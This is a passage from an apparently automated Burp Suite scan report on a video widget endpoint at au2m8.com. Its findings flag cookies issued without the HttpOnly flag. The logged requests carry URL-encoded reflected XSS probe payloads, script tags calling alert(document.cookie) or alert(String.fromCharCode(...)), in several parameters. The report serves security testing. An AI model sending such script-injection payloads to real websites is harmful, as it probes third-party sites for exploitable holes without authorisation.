Referer: http://www.au2m8.com/v/?ps=26&cw=133331&pID=11909&skinName=light&wmode=window&t=106011&pr=www.kledy.eu%2F&psource=www.kledy.eu%2F&poR=http%3A%2F%2Fburp%2Fshow%2F66&poS=http%3A%2F%2Fwww.kledy.eu%2F%3Ff0d30%2522%253E%253Cscript%253Ealert(String.fromCharCode(88%2C83%2C83))%253C%2Fscript%253E31ed3e6c6d3%3D1&jr=1&jr=2
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: countryID=us; ARPT=NQJKKYS192.168.100.219CKOWU; bpl1297012232=1297008632; bpl1297012271=1297008671; bpl1297012287=1297008687; bpl1297012302=1297008702; bpl1297012317=1297008717; bpl1297012335=1297008735; bpl1297012351=1297008751; bpl1297012352=1297008752; bpl1297012366=1297008766; bpl1297012367=1297008767; bpl1297012383=1297008783; bpl1297012398=1297008798; bpl1297012414=1297008814; bpl1297012429=1297008829; bpl1297012444=1297008844; bpl1297012486=1297008886; bpl1297012502=1297008902; bpl1297012517=1297008917; videoID=expired; auto=expired; playlist=5731%2C4881; j2playlist=5731

Response

15.377. http://www.au2m8.com/v/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.au2m8.com
Path:	/v/

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

bpl1297018371=1297014771; expires=Sun, 06-Feb-2011 18:52:51 GMT; path=/; domain=.au2m8.com
videoID=expired; expires=Sun, 06-Feb-2011 18:52:51 GMT; path=/; domain=.au2m8.com
auto=expired; expires=Sun, 06-Feb-2011 18:52:51 GMT; path=/; domain=.au2m8.com
playlist=5731%2C4881; expires=Tue, 08-Feb-2011 17:52:51 GMT; path=/; domain=.au2m8.com

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /v/?ps=26&cw=328795&pID=11909&skinName=light&pw=350&ph=250&wmode=window&t=370468&pr=www.peppernews.eu%2F&psource=www.peppernews.eu%2F&poR=http%3A%2F%2Fburp%2Fshow%2F97&poS=http%3A%2F%2Fwww.peppernews.eu%2F%3Fd7d65%2522%253E%253Cscript%253Ealert(String.fromCharCode(88%2C83%2C83))%253C%2Fscript%253Ef6336f06cd4%3D1&jr=1&jr=2 HTTP/1.1
Host: www.au2m8.com
Proxy-Connection: keep-alive
Referer: http://www.au2m8.com/v/?ps=26&cw=328795&pID=11909&skinName=light&pw=350&ph=250&wmode=window&t=370468&pr=www.peppernews.eu%2F&psource=www.peppernews.eu%2F&poR=http%3A%2F%2Fburp%2Fshow%2F97&poS=http%3A%2F%2Fwww.peppernews.eu%2F%3Fd7d65%2522%253E%253Cscript%253Ealert(String.fromCharCode(88%2C83%2C83))%253C%2Fscript%253Ef6336f06cd4%3D1&jr=1
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: countryID=us; ARPT=NQJKKYS192.168.100.219CKOWU; bpl1297012569=1297008969; bpl1297012579=1297008979; bpl1297012585=1297008985; bpl1297012595=1297008995; bpl1297012601=1297009001; bpl1297012610=1297009010; bpl1297012620=1297009020; bpl1297012626=1297009026; bpl1297012636=1297009036; bpl1297012651=1297009051; bpl1297012667=1297009067; bpl1297016038=1297012438; bpl1297016059=1297012459; bpl1297016091=1297012491; bpl1297016107=1297012507; videoID=expired; auto=expired; playlist=5731%2C4881; j2playlist=5731

Response

15.378. http://www.au2m8.com/v/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.au2m8.com
Path:	/v/

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

bpl1297012620=1297009020; expires=Sun, 06-Feb-2011 17:17:00 GMT; path=/; domain=.au2m8.com
videoID=expired; expires=Sun, 06-Feb-2011 17:17:00 GMT; path=/; domain=.au2m8.com
auto=expired; expires=Sun, 06-Feb-2011 17:17:00 GMT; path=/; domain=.au2m8.com
playlist=5731%2C4881; expires=Tue, 08-Feb-2011 16:17:00 GMT; path=/; domain=.au2m8.com

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /v/?ps=26&cw=39927&pID=11909&skinName=light&t=62092&pr=www.kledy.us%2F&psource=www.kledy.us%2F&poR=http%3A%2F%2Fburp%2Fshow%2F68&poS=http%3A%2F%2Fwww.kledy.us%2F%3F88099%2522%253E%253Cscript%253Ealert(String.fromCharCode(88%2C83%2C83))%253C%2Fscript%253E31a8b6ec06f%3D1&jr=1&jr=2&jr=3 HTTP/1.1
Host: www.au2m8.com
Proxy-Connection: keep-alive
Referer: http://www.au2m8.com/v/?ps=26&cw=39927&pID=11909&skinName=light&t=62092&pr=www.kledy.us%2F&psource=www.kledy.us%2F&poR=http%3A%2F%2Fburp%2Fshow%2F68&poS=http%3A%2F%2Fwww.kledy.us%2F%3F88099%2522%253E%253Cscript%253Ealert(String.fromCharCode(88%2C83%2C83))%253C%2Fscript%253E31a8b6ec06f%3D1&jr=1&jr=2
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: countryID=us; ARPT=NQJKKYS192.168.100.219CKOWU; bpl1297012232=1297008632; bpl1297012271=1297008671; bpl1297012287=1297008687; bpl1297012302=1297008702; bpl1297012317=1297008717; bpl1297012335=1297008735; bpl1297012351=1297008751; bpl1297012352=1297008752; bpl1297012366=1297008766; bpl1297012367=1297008767; bpl1297012383=1297008783; bpl1297012398=1297008798; bpl1297012414=1297008814; bpl1297012429=1297008829; bpl1297012444=1297008844; bpl1297012486=1297008886; bpl1297012502=1297008902; bpl1297012517=1297008917; bpl1297012532=1297008932; bpl1297012533=1297008933; bpl1297012548=1297008948; bpl1297012549=1297008949; bpl1297012563=1297008963; bpl1297012564=1297008964; bpl1297012569=1297008969; bpl1297012579=1297008979; bpl1297012585=1297008985; bpl1297012595=1297008995; bpl1297012601=1297009001; bpl1297012610=1297009010; videoID=expired; auto=expired; playlist=5731%2C4881; j2playlist=5731

Response

15.379. http://www.au2m8.com/v/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.au2m8.com
Path:	/v/

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

bpl1297014662=1297011062; expires=Sun, 06-Feb-2011 17:51:02 GMT; path=/; domain=.au2m8.com
videoID=expired; expires=Sun, 06-Feb-2011 17:51:02 GMT; path=/; domain=.au2m8.com
auto=expired; expires=Sun, 06-Feb-2011 17:51:02 GMT; path=/; domain=.au2m8.com
playlist=5731%2C4881; expires=Tue, 08-Feb-2011 16:51:02 GMT; path=/; domain=.au2m8.com

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /v/?ps=26&cw=47379&pID=11909&skinName=light&t=484711&pr=www.kledy.co.uk%2F&psource=www.kledy.co.uk%2F&poR=http%3A%2F%2Fburp%2Fshow%2F64&poS=http%3A%2F%2Fwww.kledy.co.uk%2F%3Fb6885%2522%253E%253Cscript%253Ealert(document.cookie)%253C%2Fscript%253E58b3310da99%3D1 HTTP/1.1
Host: www.au2m8.com
Proxy-Connection: keep-alive
Referer: http://files.video-loader.com/au2m8_preloader/37211909126091178247379.htm?vs=1&r=www.kledy.co.uk%2F&s=www.kledy.co.uk%2F&poR=http%3A%2F%2Fburp%2Fshow%2F64&poS=http%3A%2F%2Fwww.kledy.co.uk%2F%3Fb6885%2522%253E%253Cscript%253Ealert(document.cookie)%253C%2Fscript%253E58b3310da99%3D1&t=271024
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: countryID=us; ARPT=NQJKKYS192.168.100.219CKOWU; bpl1297012232=1297008632; videoID=expired; auto=expired; playlist=5731%2C4881; j2playlist=5731

Response

15.380. http://www.au2m8.com/v/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.au2m8.com
Path:	/v/

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

bpl1296952367=1296948767; expires=Sun, 06-Feb-2011 00:32:47 GMT; path=/; domain=.au2m8.com
videoID=expired; expires=Sun, 06-Feb-2011 00:32:47 GMT; path=/; domain=.au2m8.com
auto=expired; expires=Sun, 06-Feb-2011 00:32:47 GMT; path=/; domain=.au2m8.com

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

Response

15.381. http://www.au2m8.com/v/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.au2m8.com
Path:	/v/

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

bpl1297014831=1297011231; expires=Sun, 06-Feb-2011 17:53:51 GMT; path=/; domain=.au2m8.com
videoID=expired; expires=Sun, 06-Feb-2011 17:53:51 GMT; path=/; domain=.au2m8.com
auto=expired; expires=Sun, 06-Feb-2011 17:53:51 GMT; path=/; domain=.au2m8.com
playlist=5731%2C4881; expires=Tue, 08-Feb-2011 16:53:51 GMT; path=/; domain=.au2m8.com

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /v/?ps=26&cw=47865&pID=11909&skinName=light&t=620692&pr=www.kledy.es%2F&psource=www.kledy.es%2F&poR=http%3A%2F%2Fburp%2Fshow%2F65&poS=http%3A%2F%2Fwww.kledy.es%2F%3Fbc891%2522%253E%253Cscript%253Ealert(document.cookie)%253C%2Fscript%253E5d09625540c%3D1&jr=1&jr=2&jr=3&jr=4&jr=5 HTTP/1.1
Host: www.au2m8.com
Proxy-Connection: keep-alive
Referer: http://www.au2m8.com/v/?ps=26&cw=47865&pID=11909&skinName=light&t=620692&pr=www.kledy.es%2F&psource=www.kledy.es%2F&poR=http%3A%2F%2Fburp%2Fshow%2F65&poS=http%3A%2F%2Fwww.kledy.es%2F%3Fbc891%2522%253E%253Cscript%253Ealert(document.cookie)%253C%2Fscript%253E5d09625540c%3D1&jr=1&jr=2&jr=3&jr=4
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: countryID=us; ARPT=NQJKKYS192.168.100.219CKOWU; bpl1297012232=1297008632; bpl1297012271=1297008671; bpl1297012287=1297008687; bpl1297012302=1297008702; bpl1297012317=1297008717; bpl1297012335=1297008735; bpl1297012351=1297008751; bpl1297012352=1297008752; bpl1297012366=1297008766; bpl1297012367=1297008767; bpl1297012383=1297008783; bpl1297012398=1297008798; bpl1297012414=1297008814; videoID=expired; auto=expired; playlist=5731%2C4881; j2playlist=5731

Response

15.382. http://www.au2m8.com/v/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.au2m8.com
Path:	/v/

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

bpl1297012517=1297008917; expires=Sun, 06-Feb-2011 17:15:17 GMT; path=/; domain=.au2m8.com
videoID=expired; expires=Sun, 06-Feb-2011 17:15:17 GMT; path=/; domain=.au2m8.com
auto=expired; expires=Sun, 06-Feb-2011 17:15:17 GMT; path=/; domain=.au2m8.com
playlist=5731%2C4881; expires=Tue, 08-Feb-2011 16:15:17 GMT; path=/; domain=.au2m8.com

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /v/?ps=26&cw=133331&pID=11909&skinName=light&wmode=window&t=106011&pr=www.kledy.eu%2F&psource=www.kledy.eu%2F&poR=http%3A%2F%2Fburp%2Fshow%2F66&poS=http%3A%2F%2Fwww.kledy.eu%2F%3Ff0d30%2522%253E%253Cscript%253Ealert(String.fromCharCode(88%2C83%2C83))%253C%2Fscript%253E31ed3e6c6d3%3D1&jr=1&jr=2 HTTP/1.1
Host: www.au2m8.com
Proxy-Connection: keep-alive
Referer: http://www.au2m8.com/v/?ps=26&cw=133331&pID=11909&skinName=light&wmode=window&t=106011&pr=www.kledy.eu%2F&psource=www.kledy.eu%2F&poR=http%3A%2F%2Fburp%2Fshow%2F66&poS=http%3A%2F%2Fwww.kledy.eu%2F%3Ff0d30%2522%253E%253Cscript%253Ealert(String.fromCharCode(88%2C83%2C83))%253C%2Fscript%253E31ed3e6c6d3%3D1&jr=1
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: countryID=us; ARPT=NQJKKYS192.168.100.219CKOWU; bpl1297012232=1297008632; bpl1297012271=1297008671; bpl1297012287=1297008687; bpl1297012302=1297008702; bpl1297012317=1297008717; bpl1297012335=1297008735; bpl1297012351=1297008751; bpl1297012352=1297008752; bpl1297012366=1297008766; bpl1297012367=1297008767; bpl1297012383=1297008783; bpl1297012398=1297008798; bpl1297012414=1297008814; bpl1297012429=1297008829; bpl1297012444=1297008844; bpl1297012486=1297008886; bpl1297012502=1297008902; videoID=expired; auto=expired; playlist=5731%2C4881; j2playlist=5731

Response

15.383. http://www.au2m8.com/v/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.au2m8.com
Path:	/v/

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

bpl1297012383=1297008783; expires=Sun, 06-Feb-2011 17:13:03 GMT; path=/; domain=.au2m8.com
videoID=expired; expires=Sun, 06-Feb-2011 17:13:03 GMT; path=/; domain=.au2m8.com
auto=expired; expires=Sun, 06-Feb-2011 17:13:03 GMT; path=/; domain=.au2m8.com
playlist=5731%2C4881; expires=Tue, 08-Feb-2011 16:13:03 GMT; path=/; domain=.au2m8.com

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

Response

15.384. http://www.au2m8.com/v/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.au2m8.com
Path:	/v/

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

bpl1297002333=1296998733; expires=Sun, 06-Feb-2011 14:25:33 GMT; path=/; domain=.au2m8.com
videoID=expired; expires=Sun, 06-Feb-2011 14:25:33 GMT; path=/; domain=.au2m8.com
auto=expired; expires=Sun, 06-Feb-2011 14:25:33 GMT; path=/; domain=.au2m8.com
playlist=5731%2C4881; expires=Tue, 08-Feb-2011 13:25:33 GMT; path=/; domain=.au2m8.com

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /v/?ps=26&cw=26263692aa%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E395e61b488b&pID=11909&skinName=light&t=685356&pr=www.kledy.de%2Fbookmarks.php&psource=www.kledy.de%2Fbookmarks.php&poR=http%3A%2F%2Fburp%2Fshow%2F34&poS=http%3A%2F%2Fwww.kledy.de%2Fbookmarks.php%3F18fe2%2522%253E%253Cscript%253Ealert(document.cookie)%253C%2Fscript%253Eef67307aec5%3D1&jr=1&jr=2&jr=3&jr=4&jr=5 HTTP/1.1
Host: www.au2m8.com
Proxy-Connection: keep-alive
Referer: http://www.au2m8.com/v/?ps=26&cw=26263692aa%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E395e61b488b&pID=11909&skinName=light&t=685356&pr=www.kledy.de%2Fbookmarks.php&psource=www.kledy.de%2Fbookmarks.php&poR=http%3A%2F%2Fburp%2Fshow%2F34&poS=http%3A%2F%2Fwww.kledy.de%2Fbookmarks.php%3F18fe2%2522%253E%253Cscript%253Ealert(document.cookie)%253C%2Fscript%253Eef67307aec5%3D1&jr=1&jr=2&jr=3&jr=4
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: countryID=us; bpl1297002238=1296998638; ARPT=NQJKKYS192.168.100.219CKOWU; bpl1297002287=1296998687; bpl1297002302=1296998702; bpl1297002318=1296998718; videoID=expired; auto=expired; playlist=5731%2C4881; j2playlist=4881

Response

15.385. http://www.au2m8.com/v/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.au2m8.com
Path:	/v/

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

bpl1297012399=1297008799; expires=Sun, 06-Feb-2011 17:13:19 GMT; path=/; domain=.au2m8.com
videoID=expired; expires=Sun, 06-Feb-2011 17:13:19 GMT; path=/; domain=.au2m8.com
auto=expired; expires=Sun, 06-Feb-2011 17:13:19 GMT; path=/; domain=.au2m8.com
playlist=5731%2C4881; expires=Tue, 08-Feb-2011 16:13:19 GMT; path=/; domain=.au2m8.com

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /v/?ps=26&cw=47865&pID=11909&skinName=light&t=620692&pr=www.kledy.es%2F&psource=www.kledy.es%2F&poR=http%3A%2F%2Fburp%2Fshow%2F65&poS=http%3A%2F%2Fwww.kledy.es%2F%3Fbc891%2522%253E%253Cscript%253Ealert(document.cookie)%253C%2Fscript%253E5d09625540c%3D1&jr=1&jr=2&jr=3 HTTP/1.1
Host: www.au2m8.com
Proxy-Connection: keep-alive
Referer: http://www.au2m8.com/v/?ps=26&cw=47865&pID=11909&skinName=light&t=620692&pr=www.kledy.es%2F&psource=www.kledy.es%2F&poR=http%3A%2F%2Fburp%2Fshow%2F65&poS=http%3A%2F%2Fwww.kledy.es%2F%3Fbc891%2522%253E%253Cscript%253Ealert(document.cookie)%253C%2Fscript%253E5d09625540c%3D1&jr=1&jr=2
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: countryID=us; ARPT=NQJKKYS192.168.100.219CKOWU; bpl1297012232=1297008632; bpl1297012271=1297008671; bpl1297012287=1297008687; bpl1297012302=1297008702; bpl1297012317=1297008717; bpl1297012335=1297008735; bpl1297012351=1297008751; bpl1297012352=1297008752; bpl1297012366=1297008766; bpl1297012367=1297008767; bpl1297012383=1297008783; videoID=expired; auto=expired; playlist=5731%2C4881; j2playlist=5731

Response

15.386. http://www.au2m8.com/v/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.au2m8.com
Path:	/v/

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

bpl1297012486=1297008886; expires=Sun, 06-Feb-2011 17:14:46 GMT; path=/; domain=.au2m8.com
videoID=expired; expires=Sun, 06-Feb-2011 17:14:46 GMT; path=/; domain=.au2m8.com
auto=expired; expires=Sun, 06-Feb-2011 17:14:46 GMT; path=/; domain=.au2m8.com
playlist=5731%2C4881; expires=Tue, 08-Feb-2011 16:14:46 GMT; path=/; domain=.au2m8.com

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

Response

15.387. http://www.au2m8.com/v/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.au2m8.com
Path:	/v/

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

bpl1297012580=1297008980; expires=Sun, 06-Feb-2011 17:16:20 GMT; path=/; domain=.au2m8.com
videoID=expired; expires=Sun, 06-Feb-2011 17:16:20 GMT; path=/; domain=.au2m8.com
auto=expired; expires=Sun, 06-Feb-2011 17:16:20 GMT; path=/; domain=.au2m8.com
playlist=5731%2C4881; expires=Tue, 08-Feb-2011 16:16:20 GMT; path=/; domain=.au2m8.com

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /v/?ps=26&cw=328905&pID=11909&skinName=light&pw=350&ph=250&wmode=window&t=912519&pr=www.kledy.it%2F&psource=www.kledy.it%2F&poR=http%3A%2F%2Fburp%2Fshow%2F67&poS=http%3A%2F%2Fwww.kledy.it%2F%3F44921%2522%253E%253Cscript%253Ealert(String.fromCharCode(88%2C83%2C83))%253C%2Fscript%253E107b665304c%3D1&jr=1&jr=2&jr=3 HTTP/1.1
Host: www.au2m8.com
Proxy-Connection: keep-alive
Referer: http://www.au2m8.com/v/?ps=26&cw=328905&pID=11909&skinName=light&pw=350&ph=250&wmode=window&t=912519&pr=www.kledy.it%2F&psource=www.kledy.it%2F&poR=http%3A%2F%2Fburp%2Fshow%2F67&poS=http%3A%2F%2Fwww.kledy.it%2F%3F44921%2522%253E%253Cscript%253Ealert(String.fromCharCode(88%2C83%2C83))%253C%2Fscript%253E107b665304c%3D1&jr=1&jr=2
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: countryID=us; ARPT=NQJKKYS192.168.100.219CKOWU; bpl1297012232=1297008632; bpl1297012271=1297008671; bpl1297012287=1297008687; bpl1297012302=1297008702; bpl1297012317=1297008717; bpl1297012335=1297008735; bpl1297012351=1297008751; bpl1297012352=1297008752; bpl1297012366=1297008766; bpl1297012367=1297008767; bpl1297012383=1297008783; bpl1297012398=1297008798; bpl1297012414=1297008814; bpl1297012429=1297008829; bpl1297012444=1297008844; bpl1297012486=1297008886; bpl1297012502=1297008902; bpl1297012517=1297008917; bpl1297012532=1297008932; bpl1297012533=1297008933; bpl1297012548=1297008948; bpl1297012549=1297008949; bpl1297012563=1297008963; bpl1297012564=1297008964; bpl1297012569=1297008969; bpl1297012579=1297008979; videoID=expired; auto=expired; playlist=5731%2C4881; j2playlist=5731

Response

15.388. http://www.au2m8.com/v/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.au2m8.com
Path:	/v/

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

bpl1297018473=1297014873; expires=Sun, 06-Feb-2011 18:54:33 GMT; path=/; domain=.au2m8.com
videoID=expired; expires=Sun, 06-Feb-2011 18:54:33 GMT; path=/; domain=.au2m8.com
auto=expired; expires=Sun, 06-Feb-2011 18:54:33 GMT; path=/; domain=.au2m8.com
playlist=5731%2C4881; expires=Tue, 08-Feb-2011 17:54:33 GMT; path=/; domain=.au2m8.com

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

Response

15.389. http://www.au2m8.com/v/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.au2m8.com
Path:	/v/

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

bpl1296950906=1296947306; expires=Sun, 06-Feb-2011 00:08:26 GMT; path=/; domain=.au2m8.com
videoID=expired; expires=Sun, 06-Feb-2011 00:08:26 GMT; path=/; domain=.au2m8.com
auto=expired; expires=Sun, 06-Feb-2011 00:08:26 GMT; path=/; domain=.au2m8.com

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /v/?ps=26&cw=26263&pID=11909&skinName=light&t=685356&pr=www.kledy.de%2Fbookmarks.php&psource=www.kledy.de%2Fbookmarks.php&poR=http%3A%2F%2Fburp%2Fshow%2F34&poS=http%3A%2F%2Fwww.kledy.de%2Fbookmarks.php%3F18fe2%2522%253E%253Cscript%253Ealert(document.cookie)%253C%2Fscript%253Eef67307aec5%3D1&jr=1 HTTP/1.1
Host: www.au2m8.com
Proxy-Connection: keep-alive
Referer: http://www.au2m8.com/v/?ps=26&cw=26263&pID=11909&skinName=light&t=685356&pr=www.kledy.de%2Fbookmarks.php&psource=www.kledy.de%2Fbookmarks.php&poR=http%3A%2F%2Fburp%2Fshow%2F34&poS=http%3A%2F%2Fwww.kledy.de%2Fbookmarks.php%3F18fe2%2522%253E%253Cscript%253Ealert(document.cookie)%253C%2Fscript%253Eef67307aec5%3D1
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ARPT=NQJKKYS192.168.100.218CKOWJ; countryID=us; bpl1296950890=1296947290; videoID=expired; auto=expired; j2playlist=5731

Response

15.390. http://www.au2m8.com/v/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.au2m8.com
Path:	/v/

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

bpl1297012563=1297008963; expires=Sun, 06-Feb-2011 17:16:03 GMT; path=/; domain=.au2m8.com
videoID=expired; expires=Sun, 06-Feb-2011 17:16:03 GMT; path=/; domain=.au2m8.com
auto=expired; expires=Sun, 06-Feb-2011 17:16:03 GMT; path=/; domain=.au2m8.com
playlist=5731%2C4881; expires=Tue, 08-Feb-2011 16:16:03 GMT; path=/; domain=.au2m8.com

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /v/?ps=26&cw=133331&pID=11909&skinName=light&wmode=window&t=106011&pr=www.kledy.eu%2F&psource=www.kledy.eu%2F&poR=http%3A%2F%2Fburp%2Fshow%2F66&poS=http%3A%2F%2Fwww.kledy.eu%2F%3Ff0d30%2522%253E%253Cscript%253Ealert(String.fromCharCode(88%2C83%2C83))%253C%2Fscript%253E31ed3e6c6d3%3D1&jr=1&jr=2&jr=3&jr=4&jr=5 HTTP/1.1
Host: www.au2m8.com
Proxy-Connection: keep-alive
Referer: http://www.au2m8.com/v/?ps=26&cw=133331&pID=11909&skinName=light&wmode=window&t=106011&pr=www.kledy.eu%2F&psource=www.kledy.eu%2F&poR=http%3A%2F%2Fburp%2Fshow%2F66&poS=http%3A%2F%2Fwww.kledy.eu%2F%3Ff0d30%2522%253E%253Cscript%253Ealert(String.fromCharCode(88%2C83%2C83))%253C%2Fscript%253E31ed3e6c6d3%3D1&jr=1&jr=2&jr=3&jr=4
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: countryID=us; ARPT=NQJKKYS192.168.100.219CKOWU; bpl1297012232=1297008632; bpl1297012271=1297008671; bpl1297012287=1297008687; bpl1297012302=1297008702; bpl1297012317=1297008717; bpl1297012335=1297008735; bpl1297012351=1297008751; bpl1297012352=1297008752; bpl1297012366=1297008766; bpl1297012367=1297008767; bpl1297012383=1297008783; bpl1297012398=1297008798; bpl1297012414=1297008814; bpl1297012429=1297008829; bpl1297012444=1297008844; bpl1297012486=1297008886; bpl1297012502=1297008902; bpl1297012517=1297008917; bpl1297012532=1297008932; bpl1297012533=1297008933; bpl1297012548=1297008948; bpl1297012549=1297008949; videoID=expired; auto=expired; playlist=5731%2C4881; j2playlist=5731

Response

15.391. http://www.au2m8.com/v/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.au2m8.com
Path:	/v/

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

